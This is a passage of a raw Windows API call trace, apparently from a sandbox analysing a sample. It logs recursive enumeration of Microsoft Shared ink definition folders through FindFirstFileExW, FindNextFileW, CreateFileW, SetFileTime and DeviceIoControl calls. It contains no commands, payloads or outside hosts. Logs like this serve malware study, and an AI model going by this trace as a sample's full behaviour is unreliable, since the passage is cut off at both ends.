Flags=0x0, BaseAddress=0xee94a0) returned 1 [0046.954] NtClose (Handle=0x17c) returned 0x0 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.954] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.954] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee52d8 [0046.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7e00 [0046.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.954] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0046.954] GetLastError () returned 0x12 [0046.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.955] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0046.955] GetLastError () returned 0x12 [0046.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.955] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0046.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.955] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee94a0 [0046.955] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee94a0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee94a0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee94a0) returned 1 [0046.956] NtClose (Handle=0x174) returned 0x0 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.956] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.956] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee52f8 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7f08 [0046.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x440) returned 0xee94a0 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0046.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.956] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0046.957] GetLastError () returned 0x12 [0046.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.957] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0046.957] GetLastError () returned 0x12 [0046.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.957] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0046.957] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0046.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.957] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.958] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0046.958] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0046.958] NtClose (Handle=0x17c) returned 0x0 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5318 [0046.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8010 [0046.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.958] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5338 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8118 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5358 [0046.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8220 [0046.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.959] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0046.959] GetLastError () returned 0x12 [0046.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.959] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.959] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.959] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0046.959] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0046.960] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: 